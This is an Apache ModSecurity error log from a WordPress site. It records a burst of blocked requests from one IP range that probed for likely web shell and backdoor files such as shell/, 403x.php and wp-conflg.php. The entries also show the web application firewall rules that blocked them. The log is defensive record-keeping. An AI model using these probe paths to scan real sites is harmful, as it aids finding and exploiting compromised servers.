[Mon May 25 23:12:23.709451 2026] [:error] [pid 62722:tid 62726] [client 194.5.82.40:45467] [client 194.5.82.40] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/log.php"] [unique_id "ahRm16M6ssnLWYf6CVBfQwAAAEI"]
[Mon May 25 23:12:23.920595 2026] [:error] [pid 53791:tid 53802] [client 194.5.82.12:56279] [client 194.5.82.12] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/"] [unique_id "ahRm1yCRhhNTD40Nf1U3ygAAAYk"]
[Mon May 25 23:12:24.319941 2026] [:error] [pid 62426:tid 62447] [client 194.5.82.11:53593] [client 194.5.82.11] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/widgets/maint/"] [unique_id "ahRm2Ej3D3Mo8ANpTRAzQgAAABE"]
[Mon May 25 23:12:24.804641 2026] [:error] [pid 62515:tid 62520] [client 194.5.82.5:44621] [client 194.5.82.5] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "ahRm2Big0_XsOwmnrv9otAAAAMM"]
[Mon May 25 23:12:25.181307 2026] [:error] [pid 62515:tid 62524] [client 194.5.82.25:43731] [client 194.5.82.25] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/ab.php"] [unique_id "ahRm2Rig0_XsOwmnrv9otQAAAMc"]
[Mon May 25 23:12:25.396420 2026] [:error] [pid 62426:tid 62443] [client 194.5.82.6:47555] [client 194.5.82.6] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/images/admin.php"] [unique_id "ahRm2Uj3D3Mo8ANpTRAzRQAAAA0"]
[Mon May 25 23:12:25.607990 2026] [:error] [pid 62428:tid 62503] [client 194.5.82.44:45397] [client 194.5.82.44] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-wlx.php"] [unique_id "ahRm2ZNosGBa7mui3VR7YgAAAJM"]
[Mon May 25 23:12:25.820433 2026] [:error] [pid 62515:tid 62518] [client 194.5.82.44:44239] [client 194.5.82.44] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/info.php"] [unique_id "ahRm2Rig0_XsOwmnrv9otwAAAME"]
[Mon May 25 23:12:26.030374 2026] [:error] [pid 53791:tid 53812] [client 194.5.82.42:27537] [client 194.5.82.42] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/widgets/"] [unique_id "ahRm2iCRhhNTD40Nf1U30AAAAZM"]
[Mon May 25 23:12:26.277221 2026] [:error] [pid 62426:tid 62452] [client 194.5.82.23:21721] [client 194.5.82.23] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/enhanced-text-widget/analyst/src/403x.php"] [unique_id "ahRm2kj3D3Mo8ANpTRAzRgAAABY"]
[Mon May 25 23:12:26.487862 2026] [:error] [pid 62426:tid 62440] [client 194.5.82.41:63621] [client 194.5.82.41] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/includes/"] [unique_id "ahRm2kj3D3Mo8ANpTRAzSQAAAAo"]
[Mon May 25 23:12:26.717249 2026] [:error] [pid 62426:tid 62438] [client 194.5.82.50:52185] [client 194.5.82.50] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/ioxi-o.php"] [unique_id "ahRm2kj3D3Mo8ANpTRAzSwAAAAg"]
[Mon May 25 23:12:26.927608 2026] [:error] [pid 53791:tid 53800] [client 194.5.82.53:33139] [client 194.5.82.53] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/src/Exception/Transport/"] [unique_id "ahRm2iCRhhNTD40Nf1U30wAAAYc"]
[Mon May 25 23:12:27.178673 2026] [:error] [pid 53791:tid 53806] [client 194.5.82.49:52137] [client 194.5.82.49] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-file.php"] [unique_id "ahRm2yCRhhNTD40Nf1U31QAAAY0"]
[Mon May 25 23:12:27.411839 2026] [:error] [pid 53791:tid 53794] [client 194.5.82.51:24679] [client 194.5.82.51] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/m.php"] [unique_id "ahRm2yCRhhNTD40Nf1U31wAAAYE"]
[Mon May 25 23:12:27.623934 2026] [:error] [pid 53791:tid 53804] [client 194.5.82.50:60303] [client 194.5.82.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/themes/about.php"] [unique_id "ahRm2yCRhhNTD40Nf1U32AAAAYs"]
[Mon May 25 23:12:27.872187 2026] [:error] [pid 62722:tid 62727] [client 194.5.82.14:53455] [client 194.5.82.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/wp-conflg.php"] [unique_id "ahRm26M6ssnLWYf6CVBfSAAAAEM"]
[Mon May 25 23:12:28.088128 2026] [:error] [pid 62426:tid 62442] [client 194.5.82.41:33445] [client 194.5.82.41] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/a.php"] [unique_id "ahRm3Ej3D3Mo8ANpTRAzTwAAAAw"]
[Mon May 25 23:12:28.299085 2026] [:error] [pid 53791:tid 53805] [client 194.5.82.39:49245] [client 194.5.82.39] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/2024/"] [unique_id "ahRm3CCRhhNTD40Nf1U33AAAAYw"]
[Mon May 25 23:12:28.510612 2026] [:error] [pid 62426:tid 62443] [client 194.5.82.20:57961] [client 194.5.82.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/admin.php"] [unique_id "ahRm3Ej3D3Mo8ANpTRAzUQAAAA0"]
[Mon May 25 23:12:28.723078 2026] [:error] [pid 62515:tid 62521] [client 194.5.82.26:32421] [client 194.5.82.26] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/shell/"] [unique_id "ahRm3Big0_XsOwmnrv9ouAAAAMQ"]
[Mon May 25 23:12:28.966617 2026] [:error] [pid 62428:tid 62499] [client 194.5.82.14:36707] [client 194.5.82.14] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/modern/test2.php"] [unique_id "ahRm3JNosGBa7mui3VR7ZwAAAI8"]
[Mon May 25 23:12:29.177291 2026] [:error] [pid 62428:tid 62492] [client 194.5.82.46:59369] [client 194.5.82.46] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/admin/function.php"] [unique_id "ahRm3ZNosGBa7mui3VR7aAAAAIg"]
[Mon May 25 23:12:29.407879 2026] [:error] [pid 62428:tid 62487] [client 194.5.82.7:35539] [client 194.5.82.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/network/"] [unique_id "ahRm3ZNosGBa7mui3VR7agAAAIM"]
[Mon May 25 23:12:29.621755 2026] [:error] [pid 62515:tid 62541] [client 194.5.82.48:43011] [client 194.5.82.48] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/fukasawa/inc/classes/403x.php"] [unique_id "ahRm3Rig0_XsOwmnrv9ougAAANg"]
[Mon May 25 23:12:29.833947 2026] [:error] [pid 62515:tid 62519] [client 194.5.82.46:63933] [client 194.5.82.46] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/2025/"] [unique_id "ahRm3Rig0_XsOwmnrv9ouwAAAMI"]
[Mon May 25 23:12:30.067859 2026] [:error] [pid 62515:tid 62536] [client 194.5.82.37:45133] [client 194.5.82.37] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "ahRm3hig0_XsOwmnrv9ovQAAANM"]
[Mon May 25 23:12:30.291588 2026] [:error] [pid 62515:tid 62520] [client 194.5.82.8:30503] [client 194.5.82.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/header.php"] [unique_id "ahRm3hig0_XsOwmnrv9ovgAAAMM"]
[Mon May 25 23:12:30.509103 2026] [:error] [pid 62515:tid 62524] [client 194.5.82.24:48051] [client 194.5.82.24] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/ahax.php"] [unique_id "ahRm3hig0_XsOwmnrv9ovwAAAMc"]
[Mon May 25 23:12:30.812590 2026] [:error] [pid 53791:tid 53811] [client 194.5.82.6:49919] [client 194.5.82.6] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/light/"] [unique_id "ahRm3iCRhhNTD40Nf1U34QAAAZI"]
[Mon May 25 23:12:31.030588 2026] [:error] [pid 3698:tid 3714] [client 194.5.82.37:62857] [client 194.5.82.37] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/packed.php"] [unique_id "ahRm3wtZBEwA4fyFLKMJkgAAAQ4"]
[Mon May 25 23:12:31.273272 2026] [:error] [pid 62515:tid 62525] [client 194.5.82.33:25809] [client 194.5.82.33] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/code/"] [unique_id "ahRm3xig0_XsOwmnrv9owQAAAMg"]
[Mon May 25 23:12:31.483976 2026] [:error] [pid 62428:tid 62508] [client 194.5.82.17:23331] [client 194.5.82.17] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/about.php"] [unique_id "ahRm35NosGBa7mui3VR7bgAAAJg"]
[Mon May 25 23:12:31.700672 2026] [:error] [pid 62722:tid 62745] [client 194.5.82.38:34689] [client 194.5.82.38] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/block-bindings/"] [unique_id "ahRm36M6ssnLWYf6CVBfTgAAAFU"]
[Mon May 25 23:12:31.915326 2026] [:error] [pid 53791:tid 53806] [client 194.5.82.47:23821] [client 194.5.82.47] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/languages/themes/"] [unique_id "ahRm3yCRhhNTD40Nf1U35AAAAY0"]
[Mon May 25 23:12:32.127437 2026] [:error] [pid 53791:tid 53794] [client 194.5.82.12:52059] [client 194.5.82.12] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/archives/"] [unique_id "ahRm4CCRhhNTD40Nf1U35gAAAYE"]
[Mon May 25 23:12:32.338131 2026] [:error] [pid 62515:tid 62523] [client 194.5.82.45:64939] [client 194.5.82.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/"] [unique_id "ahRm4Big0_XsOwmnrv9oxQAAAMY"]
[Mon May 25 23:12:32.573515 2026] [:error] [pid 62722:tid 62735] [client 194.5.82.166:47855] [client 194.5.82.166] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/post-comments-form/"] [unique_id "ahRm4KM6ssnLWYf6CVBfTwAAAEs"]
[Mon May 25 23:12:32.786310 2026] [:error] [pid 62722:tid 62747] [client 194.5.82.47:58505] [client 194.5.82.47] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content.php"] [unique_id "ahRm4KM6ssnLWYf6CVBfUQAAAFc"]
[Mon May 25 23:12:32.998046 2026] [:error] [pid 62515:tid 62522] [client 194.5.82.35:39109] [client 194.5.82.35] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/gk.php"] [unique_id "ahRm4Big0_XsOwmnrv9oxwAAAMU"]
[Mon May 25 23:12:33.209959 2026] [:error] [pid 53791:tid 53814] [client 194.5.82.44:49985] [client 194.5.82.44] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/languages/"] [unique_id "ahRm4SCRhhNTD40Nf1U36QAAAZU"]
[Mon May 25 23:12:33.420708 2026] [:error] [pid 53791:tid 53815] [client 194.5.82.5:25027] [client 194.5.82.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/config.php"] [unique_id "ahRm4SCRhhNTD40Nf1U36wAAAZY"]
[Mon May 25 23:12:33.631167 2026] [:error] [pid 53791:tid 53811] [client 194.5.82.12:48629] [client 194.5.82.12] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/"] [unique_id "ahRm4SCRhhNTD40Nf1U37QAAAZI"]
[Mon May 25 23:12:33.873390 2026] [:error] [pid 53791:tid 53816] [client 194.5.82.41:61587] [client 194.5.82.41] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/wp-blog.php"] [unique_id "ahRm4SCRhhNTD40Nf1U37gAAAZc"]
[Mon May 25 23:12:34.085490 2026] [:error] [pid 62426:tid 62438] [client 194.5.82.18:56967] [client 194.5.82.18] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/bolt.php"] [unique_id "ahRm4kj3D3Mo8ANpTRAzVgAAAAg"]
[Mon May 25 23:12:34.297728 2026] [:error] [pid 62426:tid 62454] [client 194.5.82.7:29995] [client 194.5.82.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/comments-pagination-numbers/"] [unique_id "ahRm4kj3D3Mo8ANpTRAzVwAAABg"]
[Mon May 25 23:12:34.514321 2026] [:error] [pid 62426:tid 62432] [client 194.5.82.25:26193] [client 194.5.82.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/login.php"] [unique_id "ahRm4kj3D3Mo8ANpTRAzWAAAAAI"]
[Mon May 25 23:12:34.728801 2026] [:error] [pid 62428:tid 62501] [client 194.5.82.21:42205] [client 194.5.82.21] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/IXR/"] [unique_id "ahRm4pNosGBa7mui3VR7cAAAAJE"]
[Mon May 25 23:12:34.985365 2026] [:error] [pid 62426:tid 62437] [client 194.5.82.9:50103] [client 194.5.82.9] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/plugin/"] [unique_id "ahRm4kj3D3Mo8ANpTRAzWgAAAAc"]
[Mon May 25 23:12:35.200786 2026] [:error] [pid 62426:tid 62447] [client 194.5.82.51:38605] [client 194.5.82.51] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/theme-check/main.php"] [unique_id "ahRm40j3D3Mo8ANpTRAzWwAAABE"]
[Mon May 25 23:12:35.412787 2026] [:error] [pid 62428:tid 62498] [client 194.5.82.30:58175] [client 194.5.82.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/buy.php"] [unique_id "ahRm45NosGBa7mui3VR7cwAAAI4"]
[Mon May 25 23:12:35.629216 2026] [:error] [pid 62515:tid 62520] [client 194.5.82.50:55369] [client 194.5.82.50] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/modern/"] [unique_id "ahRm4xig0_XsOwmnrv9ozgAAAMM"]
[Mon May 25 23:12:35.878416 2026] [:error] [pid 62426:tid 62430] [client 194.5.82.41:28941] [client 194.5.82.41] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/about.php"] [unique_id "ahRm40j3D3Mo8ANpTRAzXwAAAAA"]
[Mon May 25 23:12:36.089099 2026] [:error] [pid 62426:tid 62441] [client 194.5.82.9:20577] [client 194.5.82.9] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/options.php"] [unique_id "ahRm5Ej3D3Mo8ANpTRAzYAAAAAs"]
